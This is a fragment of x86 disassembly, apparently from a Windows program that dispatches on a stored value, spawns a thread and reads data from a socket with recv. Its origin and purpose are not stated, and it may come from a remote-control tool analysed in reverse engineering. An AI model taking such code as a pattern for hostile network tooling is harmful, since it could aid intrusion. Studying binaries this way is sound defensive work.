mov edx, dword [ebp - 0x830]
pop eax
call fcn.004045b0
jne 0x406c70
cmp dword [ebx + 0x1e4], 0
je 0x406c70
mov eax, dword [ebx + 0x1e4]
call fcn.004095a4
dec eax
je 0x406c29
dec eax
je 0x406c3d
dec eax
je 0x406c51
jmp 0x406c70
cmp dword [0x40c678], 0
jne 0x406c70
mov ax, 0x190
call fcn.0040a914
jmp 0x406c70
cmp dword [0x40c69c], 0
jne 0x406c70
mov ax, 0x190
call fcn.00409b94
jmp 0x406c70
cmp dword [0x40c6ac], 0
jne 0x406c70
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0x405648
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push 0
push 0x640
push esi
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_recv
test eax, eax
jg 0x4056c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ce1
lea eax, [ebp - 0x830]
mov edx, 0x63
call fcn.00404210
lea eax, [ebp - 0x6a0]
call fcn.004041ec
lea eax, [ebp - 0x6a4]
call fcn.004041ec
lea eax, [ebp - 0x69c]
mov edx, 0x10
call fcn.00404210
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00404210
ret